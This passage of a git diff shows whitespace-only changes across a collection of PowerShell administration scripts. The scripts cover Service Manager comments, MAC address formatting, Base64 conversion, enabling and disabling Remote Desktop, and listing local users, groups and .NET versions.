'IR55444') - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @@ -33,7 +33,7 @@ $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object { $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" } - + IF ($FilteredIncidents.count -gt 0) { FOREACH ($Comment in $FilteredIncidents) @@ -46,7 +46,7 @@ ClassName = $Comment.ClassName IsPrivate = $Comment.IsPrivate } - + New-Object -TypeName PSObject -Property $Properties } # FOREACH } #IF Incident found @@ -56,6 +56,6 @@ $Error[0] } } #FOREACH ($IR in $Incident) - + } #Process } #Function \ No newline at end of file diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index 69c9ea5b..089f08e1 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -3,59 +3,59 @@ <# .SYNOPSIS Function to add a comment inside a Service Request - + .DESCRIPTION Function to add a comment inside a Service Request You need to have SMlets installed and permission to write inside the service request. - + .PARAMETER ServiceRequestObject Specifies the ServiceRequest where the comment will be added - + .PARAMETER Comment Specifies the comment to add. - + .PARAMETER CommentType Specifies the comment type. You need to specify 'User' or 'Analyst'. - + .PARAMETER EnteredBy Specifies your name. - + .PARAMETER IsPrivate Specifies if the switch is private - + .EXAMPLE PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' - + .EXAMPLE PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm - + Script inspired from http://www.scsm.se/?p=1423 by Anders Asp #> [CmdletBinding()] PARAM ( - + [Alias("SRObject")] [parameter(Mandatory = $true)] [System.WorkItem.ServiceRequest]$ServiceRequestObject, - + [parameter(Mandatory = $True)] [String]$Comment, - + [ValidateSet("User", "Analyst")] [parameter(Mandatory = $True)] [System.WorkItem.TroubleTicket] [String]$CommentType, - + [parameter(Mandatory = $True)] [String]$EnteredBy, - + [Switch]$IsPrivate ) BEGIN @@ -92,7 +92,7 @@ } # Generate a new GUID for the comment $NewGUID = ([guid]::NewGuid()).ToString() - + # Create the object projection with properties $Projection = @{ __CLASS = "System.WorkItem.ServiceRequest"; @@ -109,7 +109,7 @@ } } } - + # Create the actual comment New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection } diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 index 4d8df58d..5faf33b5 100644 --- a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -3,54 +3,54 @@ function Clean-MacAddress <# .SYNOPSIS Function to cleanup a MACAddress string - + .DESCRIPTION Function to cleanup a MACAddress string - + .PARAMETER MacAddress Specifies the MacAddress - + .PARAMETER Separator Specifies the separator every two characters - + .PARAMETER Uppercase Specifies the output must be Uppercase - + .PARAMETER Lowercase Specifies the output must be LowerCase - + .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:33:44:55' - + 001122334455 .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase - + 001122DDEEFF - + .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase - + 001122ddeeff - + .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' - + 00-11-22-dd-ee-ff - + .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' - + 00.11.22.dd.ee.ff - + .EXAMPLE Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : - + 00:11:22:dd:ee:ff - + .OUTPUTS System.String - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @@ -64,19 +64,19 @@ function Clean-MacAddress [Parameter(ParameterSetName = 'Lower')] [Parameter(ParameterSetName = 'Upper')] [String]$MacAddress, - + [Parameter(ParameterSetName = 'Lower')] [Parameter(ParameterSetName = 'Upper')] [ValidateSet(':', 'None', '.', "-")] $Separator, - + [Parameter(ParameterSetName = 'Upper')] [Switch]$Uppercase, - + [Parameter(ParameterSetName = 'Lower')] [Switch]$Lowercase ) - + BEGIN { # Initial Cleanup diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 index b4dbbc52..5dee3185 100644 --- a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -3,16 +3,16 @@ <# .SYNOPSIS Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. - + .DESCRIPTION Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. - + .PARAMETER String Specifies the String to Convert - + .EXAMPLE ConvertFrom-Base64 -String $ImageBase64 |Out-File ImageTest.png - + .NOTES Francois-Xavier Cat @lazywinadm diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 index d9ac1779..fae41241 100644 --- a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -3,23 +3,23 @@ <# .SYNOPSIS Function to convert an image to Base64 - + .DESCRIPTION Function to convert an image to Base64 - + .PARAMETER Path Specifies the path of the file - + .EXAMPLE ConvertTo-Base64 -Path "C:\images\PowerShellLogo.png" - + .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com github.com/lazywinadmin #> - + [CmdletBinding()] param ( diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index 1a929719..2818fc1f 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -3,46 +3,46 @@ <# .SYNOPSIS Function to convert an array into a string list with a delimiter. - + .DESCRIPTION Function to convert an array into a string list with a delimiter. - + .PARAMETER Array Specifies the array to process. - + .PARAMETER Delimiter Separator between value, default is "," - + .EXAMPLE $Computers = "Computer1","Computer2" ConvertTo-StringList -Array $Computers - + Output: Computer1,Computer2 - + .EXAMPLE $Computers = "Computer1","Computer2" ConvertTo-StringList -Array $Computers -Delimiter "__" - + Output: Computer1__Computer2 - + .EXAMPLE $Computers = "Computer1" ConvertTo-StringList -Array $Computers -Delimiter "__" - + Output: Computer1 - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm - + I used this function in System Center Orchestrator (SCORCH). This is sometime easier to pass data between activities #> - + [CmdletBinding()] [OutputType([string])] param @@ -50,10 +50,10 @@ [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [System.Array]$Array, - + [system.string]$Delimiter = "," ) - + BEGIN { $StringList = "" } PROCESS { @@ -73,7 +73,7 @@ { $lenght = $StringList.Length Write-Verbose -Message "StringList Lenght: $lenght" - + # Output Info without the last delimiter $StringList.Substring(0, ($lenght - $($Delimiter.length))) } diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 index c2b75388..b493b376 100644 --- a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 +++ b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 @@ -3,31 +3,31 @@ function Disable-RemoteDesktop <# .SYNOPSIS The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. - + .DESCRIPTION The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. - + .PARAMETER ComputerName Specifies the computername - + .PARAMETER Credential Specifies the credential to use - + .PARAMETER CimSession Specifies one or more existing CIM Session(s) to use - + .EXAMPLE PS C:\> Disable-RemoteDesktop -ComputerName DC01 - + .EXAMPLE PS C:\> Disable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - + .EXAMPLE PS C:\> Disable-RemoteDesktop -CimSession $Session - + .EXAMPLE PS C:\> Disable-RemoteDesktop -CimSession $Session1,$session2,$session3 - + .NOTES Francois-Xavier Cat @lazywinadm @@ -44,12 +44,12 @@ function Disable-RemoteDesktop ValueFromPipelineByPropertyName = $True)] [Alias("CN", "__SERVER", "PSComputerName")] [String[]]$ComputerName, - + [Parameter(ParameterSetName = "Main")] [Alias("RunAs")] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, - + [Parameter(ParameterSetName = "CimSession")] [Microsoft.Management.Infrastructure.CimSession[]]$CimSession ) @@ -65,7 +65,7 @@ function Disable-RemoteDesktop Helper Function to show default message used in VERBOSE/DEBUG/WARNING and... HOST in some case. This is helpful to standardize the output messages - + .PARAMETER Message Specifies the message to show .NOTES @@ -86,10 +86,10 @@ function Disable-RemoteDesktop FOREACH ($Cim in $CimSession) { $CIMComputer = $($Cim.ComputerName).ToUpper() - + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { - + TRY { # Parameters for Get-CimInstance @@ -100,7 +100,7 @@ function Disable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = "ErrorProcessGetCimInstance" } - + # Parameters for Invoke-CimMethod $CIMInvokeSplatting = @{ MethodName = "SetAllowTSConnections" @@ -111,7 +111,7 @@ function Disable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = "ErrorProcessInvokeCim" } - + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - disable Remote Desktop (and Modify Firewall Exception") Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting } @@ -135,10 +135,10 @@ function Disable-RemoteDesktop FOREACH ($Computer in $ComputerName) { $Computer = $Computer.ToUpper() - + IF ($PSCmdlet.ShouldProcess($Computer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { - + TRY { Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") @@ -152,16 +152,16 @@ function Disable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = 'ErrorProcessGetWmi' } - + IF ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - + # disable Remote Desktop Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - disable Remote Desktop") (Get-WmiObject @Splatting).SetAllowTsConnections(0, 0) | Out-Null - + # Disable requirement that user must be authenticated #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null } diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index 94bec058..719a118e 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -3,31 +3,31 @@ function Enable-RemoteDesktop <# .SYNOPSIS The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - + .DESCRIPTION The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - + .PARAMETER ComputerName Specifies the computername - + .PARAMETER Credential Specifies the credential to use - + .PARAMETER CimSession Specifies one or more existing CIM Session(s) to use - + .EXAMPLE PS C:\> Enable-RemoteDesktop -ComputerName DC01 - + .EXAMPLE PS C:\> Enable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - + .EXAMPLE PS C:\> Enable-RemoteDesktop -CimSession $Session - + .EXAMPLE PS C:\> Enable-RemoteDesktop -CimSession $Session1,$session2,$session3 - + .NOTES Francois-Xavier Cat @lazywinadm @@ -44,16 +44,16 @@ function Enable-RemoteDesktop ValueFromPipelineByPropertyName = $true)] [Alias('CN', '__SERVER', 'PSComputerName')] [String[]]$ComputerName, - + [Parameter(ParameterSetName = 'Main')] [System.Management.Automation.Credential()] [Alias('RunAs')] $Credential = [System.Management.Automation.PSCredential]::Empty, - + [Parameter(ParameterSetName = 'CimSession')] [Microsoft.Management.Infrastructure.CimSession[]]$CimSession ) - + BEGIN { # Helper Function @@ -66,7 +66,7 @@ function Enable-RemoteDesktop Helper Function to show default message used in VERBOSE/DEBUG/WARNING and... HOST in some case. This is helpful to standardize the output messages - + .PARAMETER Message Specifies the message to show .NOTES @@ -87,10 +87,10 @@ function Enable-RemoteDesktop FOREACH ($Cim in $CimSession) { $CIMComputer = $($Cim.ComputerName).ToUpper() - + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { - + TRY { # Parameters for Get-CimInstance @@ -102,7 +102,7 @@ function Enable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = "ErrorProcessGetCimInstance" } - + # Parameters for Invoke-CimMethod $CIMInvokeSplatting = @{ MethodName = "SetAllowTSConnections" @@ -113,7 +113,7 @@ function Enable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = "ErrorProcessInvokeCim" } - + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting } @@ -137,7 +137,7 @@ function Enable-RemoteDesktop FOREACH ($Computer in $ComputerName) { $Computer = $Computer.ToUpper() - + IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { TRY @@ -153,16 +153,16 @@ function Enable-RemoteDesktop ErrorAction = 'Stop' ErrorVariable = 'ErrorProcessGetWmi' } - + IF ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - + # Enable Remote Desktop Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null - + # Disable requirement that user must be authenticated #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null } diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 index 7ffaefe0..66ff5ec9 100644 --- a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -3,21 +3,21 @@ <# .SYNOPSIS Function to replace Aliases used in a script by their fullname - + .DESCRIPTION Function to replace Aliases used in a script by their fullname. Using PowerShell AST we are able to retrieve the functions and cmdlets used in a script. - + .PARAMETER Path Specifies the Path to the file. Alias: FullName - + .EXAMPLE "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias - + .EXAMPLE gci C:\LazyWinAdmin -File | Expand-ScriptAlias - + .EXAMPLE Expand-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" @@ -31,7 +31,7 @@ What if: Performing the operation "Expand Alias: sort to Sort-Object (startoffset: 10)" on target "C:\LazyWinAdmin\testscript2.ps1". What if: Performing the operation "Expand Alias: group to Group-Object (startoffset: 4)" on target "C:\LazyWinAdmin\testscript2.ps1". What if: Performing the operation "Expand Alias: gci to Get-ChildItem (startoffset: 0)" on target "C:\LazyWinAdmin\testscript2.ps1". - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @@ -49,23 +49,23 @@ FOREACH ($File in $Path) { Write-Verbose -Message '[PROCESS] $File' - + TRY { # Retrieve file content $ScriptContent = (Get-Content $File -Delimiter $([char]0)) - + # AST Parsing $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: ParseInput($ScriptContent, [ref]$null, [ref]$null) - + # Find Aliases $Aliases = $AbstractSyntaxTree.FindAll({ $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | ForEach-Object -Process { $Command = $_.CommandElements[0] if ($Alias = Get-Alias | Where-Object { $_.Name -eq $Command }) { - + # Output information [PSCustomObject]@{ File = $File @@ -77,11 +77,11 @@ EndColumnNumber = $Command.Extent.EndColumnNumber StartOffset = $Command.Extent.StartOffset EndOffset = $Command.Extent.EndOffset - + }#[PSCustomObject] }#if ($Alias) } | Sort-Object -Property EndOffset -Descending - + # The sort-object is important, we change the values from the end first to not lose the positions of every aliases. Foreach ($Alias in $Aliases) { @@ -94,7 +94,7 @@ Set-Content -Path $File -Value $ScriptContent -Confirm:$false } }#ForEach Alias in Aliases - + }#TRY CATCH { diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 index 8ee42575..d8172bc2 100644 --- a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -3,21 +3,21 @@ function Get-AsciiReaction <# .SYNOPSIS - + Displays Ascii for different reactions and copies it to clipboard. .DESCRIPTION - + Displays Ascii for different reactions and copies it to clipboard. .EXAMPLE - + Get-AsciiReaction -Name Shrug - + Displays a shurg and copies it to clipboard. .NOTES - + Based on Reddit Thread https://www.reddit.com/r/PowerShell/comments/4aipw5/%E3%83%84/ and Matt Hodge function: https://github.com/MattHodge/MattHodgePowerShell/blob/master/Fun/Get-Ascii.ps1 #> @@ -41,9 +41,9 @@ function Get-AsciiReaction 'DontKnow')] [string]$Name ) - + $OutputEncoding = [System.Text.Encoding]::unicode - + # Function to write ascii to screen as well as clipboard it function Write-Ascii { @@ -54,15 +54,15 @@ function Get-AsciiReaction [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [string]$Ascii ) - + # Clips it without the newline Add-Type -Assembly PresentationCore $clipText = ($Ascii).ToString() | Out-String -Stream [Windows.Clipboard]::SetText($clipText) - + Write-Output $clipText } - + Switch ($Name) { 'Shrug' { [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii } diff --git a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 index 6d11e445..72f8a459 100644 --- a/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 +++ b/TOOL-Get-ComputerInfo/Get-ComputerInfo.ps1 @@ -59,7 +59,7 @@ function Get-ComputerInfo .EXAMPLE Get-Content c:\ServersList.txt | Get-ComputerInfo - + ComputerName : DC OSName : Microsoft Windows Server 2012 OSVersion : 6.2.9200 @@ -146,7 +146,7 @@ function Get-ComputerInfo PROCESS{ FOREACH ($Computer in $ComputerName) { Write-Verbose -Message "PROCESS - Querying $Computer ..." - + TRY{ $Splatting = @{ ComputerName = $Computer @@ -164,7 +164,7 @@ function Get-ComputerInfo # Query WMI class Win32_OperatingSystem Write-Verbose -Message "PROCESS - $Computer - WMI:Win32_OperatingSystem" $OperatingSystem = Get-WmiObject -Class Win32_OperatingSystem @Splatting -ErrorAction Stop -ErrorVariable ProcessError - + # Query WMI class Win32_ComputerSystem Write-Verbose -Message "PROCESS - $Computer - WMI:Win32_ComputerSystem" $ComputerSystem = Get-WmiObject -Class win32_ComputerSystem @Splatting -ErrorAction Stop -ErrorVariable ProcessError @@ -220,7 +220,7 @@ function Get-ComputerInfo Write-Verbose -Message "END - Cleanup Variables" Remove-Variable -Name output,info,ProcessError,Sockets,Cores,OperatingSystem,ComputerSystem,Processors, ComputerName, ComputerName, Computer, Everything_is_OK -ErrorAction SilentlyContinue - + # End Write-Verbose -Message "END - Script End !" }#END BLOCK diff --git a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 index 6b76a6d9..c9da59cc 100644 --- a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 +++ b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 @@ -3,22 +3,22 @@ <# .SYNOPSIS function to retrieve the Operating System of a machine - + .DESCRIPTION function to retrieve the Operating System of a machine - + .PARAMETER ComputerName Specifies the ComputerName of the machine to query. Default is localhost. - + .PARAMETER Credential Specifies the credentials to use. Default is Current credentials - + .EXAMPLE PS C:\> Get-ComputerOS -ComputerName "SERVER01","SERVER02","SERVER03" - + .EXAMPLE PS C:\> Get-ComputerOS -ComputerName "SERVER01" -Credential (Get-Credential -cred "FX\SuperAdmin") - + .NOTES Additional information about the function. #> @@ -27,12 +27,12 @@ [Parameter(ParameterSetName = "Main")] [Alias("CN","__SERVER","PSComputerName")] [String[]]$ComputerName = $env:ComputerName, - + [Parameter(ParameterSetName="Main")] [Alias("RunAs")] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, - + [Parameter(ParameterSetName = "CimSession")] [Microsoft.Management.Infrastructure.CimSession]$CimSession ) @@ -66,7 +66,7 @@ class = "Win32_OperatingSystem" ErrorAction = Stop } - + IF ($PSBoundParameters['CimSession']) { Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - CimSession") @@ -81,19 +81,19 @@ Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Credential specified $($Credential.username)") $Splatting.Credential = $Credential } - + # Set the ComputerName into the splatting $Splatting.ComputerName = $ComputerName Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject") $Query = Get-WmiObject @Splatting } - + # Prepare output $Properties = @{ ComputerName = $Computer OperatingSystem = $Query.Caption } - + # Output New-Object -TypeName PSObject -Property $Properties } diff --git a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 index f0d53d38..76c09211 100644 --- a/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 +++ b/TOOL-Get-HelpMessage/Get-HelpMessage.ps1 @@ -4,14 +4,14 @@ function Get-HelpMessage .SYNOPSIS Function to explain why an error occurred and provides problem-solving information. Equivalent of NET HELPMSG - + .DESCRIPTION Function to explain why an error occurred and provides problem-solving information. Equivalent of NET HELPMSG. The function also create an alias called HelpMsg, so you can call the function this way: HelpMsg 618 - + .PARAMETER Id Specify the ID of the error you want to retrieve. Can be decimal, hexadecimal @@ -20,7 +20,7 @@ function Get-HelpMessage Get-HelpMessage 618 The specified compression format is unsupported - + .EXAMPLE Get-HelpMessage 0x80070652 diff --git a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 index 0d825f53..c1eafd20 100644 --- a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 +++ b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 @@ -7,7 +7,7 @@ .DESCRIPTION List ISE Shortcuts. This won't run in a regular powershell console, only in ISE. - + .EXAMPLE Get-ISEShortcut @@ -18,12 +18,12 @@ Will show technet page of ISE Shortcuts .LINK http://technet.microsoft.com/en-us/library/jj984298.aspx - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm - + VERSION HISTORY 2015/01/10 Initial Version #> @@ -49,14 +49,14 @@ if ($(Test-IsISE) -eq $true) { # http://www.powershellmagazine.com/2013/01/29/the-complete-list-of-powershell-ise-3-0-keyboard-shortcuts/ - + # Reference to the ISE Microsoft.PowerShell.GPowerShell assembly (DLL) $gps = $psISE.GetType().Assembly $rm = New-Object System.Resources.ResourceManager GuiStrings, $gps $rs = $rm.GetResourceSet((Get-Culture), $true, $true) $rs | Where-Object Name -match 'Shortcut\d?$|^F\d+Keyboard' | Sort-Object Value - + } } } \ No newline at end of file diff --git a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 index a4dd9e03..1fe5dc4a 100644 --- a/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 +++ b/TOOL-Get-ImageInformation/Get-ImageInformation.ps1 @@ -26,7 +26,7 @@ { # Load Assembly Add-type -AssemblyName System.Drawing - + # Retrieve information New-Object -TypeName System.Drawing.Bitmap -ArgumentList $Image } diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 index a38f178f..7f784b2c 100644 --- a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -3,28 +3,28 @@ <# .SYNOPSIS function to retrieve the local Administrator account - + .DESCRIPTION function to retrieve the local Administrator account - + .PARAMETER ComputerName Specifies the computername - + .EXAMPLE PS C:\> Get-LocalAdministratorBuiltin - + .EXAMPLE PS C:\> Get-LocalAdministratorBuiltin -ComputerName SERVER01 - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm - + #function to get the BUILTIN LocalAdministrator #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ #> - + [CmdletBinding()] param ( [Parameter()] diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 index 7b679a7f..d9599c8c 100644 --- a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -1,51 +1,51 @@ function Get-LocalGroup { - + <# .SYNOPSIS This script can be list all of local group account. - + .DESCRIPTION This script can be list all of local group account. The function is using WMI to connect to the remote machine - + .PARAMETER ComputerName Specifies the computers on which the command . The default is the local computer. - + .PARAMETER Credential A description of the Credential parameter. - - + + .EXAMPLE Get-LocalGroup - + This example shows how to list all the local groups on local computer. - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm #> - + PARAM ( [Alias('cn')] [String[]]$ComputerName = $Env:COMPUTERNAME, - + [String]$AccountName, - + [System.Management.Automation.PsCredential]$Credential ) - + $Splatting = @{ Class = "Win32_Group" Namespace = "root\cimv2" Filter = "LocalAccount='$True'" } - + #Credentials If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } - + Foreach ($Computer in $ComputerName) { TRY diff --git a/TOOL-Get-LocalUser/Get-LocalUser.ps1 b/TOOL-Get-LocalUser/Get-LocalUser.ps1 index 95c69e23..ac0cc993 100644 --- a/TOOL-Get-LocalUser/Get-LocalUser.ps1 +++ b/TOOL-Get-LocalUser/Get-LocalUser.ps1 @@ -1,51 +1,51 @@ function Get-LocalUser { - + <# .SYNOPSIS This script can be list all of local user account. - + .DESCRIPTION This script can be list all of local user account. The function is using WMI to connect to the remote machine - + .PARAMETER ComputerName Specifies the computers on which the command . The default is the local computer. - + .PARAMETER Credential A description of the Credential parameter. - - + + .EXAMPLE Get-LocalUser - + This example shows how to list all of local users on local computer. - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm #> - + PARAM ( [Alias('cn')] [String[]]$ComputerName = $Env:COMPUTERNAME, - + [String]$AccountName, - + [System.Management.Automation.PsCredential]$Credential ) - + $Splatting = @{ Class = "Win32_UserAccount" Namespace = "root\cimv2" Filter = "LocalAccount='$True'" } - + #Credentials If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } - + Foreach ($Computer in $ComputerName) { TRY diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 index 1d110b2b..a37623b4 100644 --- a/TOOL-Get-LogFast/Get-LogFast.ps1 +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -22,12 +22,12 @@ @lazywinadm www.lazywinadmin.com github.com/lazywinadmin - + #> [CmdletBinding()] PARAM ( $Path = "c:\Biglog.log", - + $Match ) BEGIN @@ -44,22 +44,22 @@ # Read the next line # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. $Line = $StreamReader.ReadLine() - + # Ignore empty line and line starting with a # if ($Line.length -eq 0 -or $Line -match "^#") { continue } - + IF ($PSBoundParameters['Match']) { If ($Line -match $Match) { Write-Verbose -Message "[PROCESS] Match found" - + # Split the line on $Delimiter #$result = ($Line -split $Delimiter) - + Write-Output $Line } } diff --git a/TOOL-Get-NetFramework/Get-NetFramework.ps1 b/TOOL-Get-NetFramework/Get-NetFramework.ps1 index dd3d1d96..6695193c 100644 --- a/TOOL-Get-NetFramework/Get-NetFramework.ps1 +++ b/TOOL-Get-NetFramework/Get-NetFramework.ps1 @@ -5,7 +5,7 @@ This function will retrieve the list of Framework Installed on the computer. .EXAMPLE Get-NetFramework - + PSChildName Version ----------- ------- v2.0.50727 2.0.50727.4927 @@ -16,7 +16,7 @@ Client 4.5.51641 Full 4.5.51641 Client 4.0.0.0 - + .NOTES TODO: Credential support @@ -34,22 +34,22 @@ [String[]]$ComputerName, $Credential = [System.Management.Automation.PSCredential]::Empty ) - + $Splatting = @{ ComputerName = $ComputerName } - + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - + Invoke-Command @Splatting -ScriptBlock { Write-Verbose -Message "$pscomputername" - + # Get the Net Framework Installed $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } | Select-Object -Property PSChildName, Version - + # Prepare output $Properties = @{ ComputerName = "$($env:Computername)$($env:USERDNSDOMAIN)" diff --git 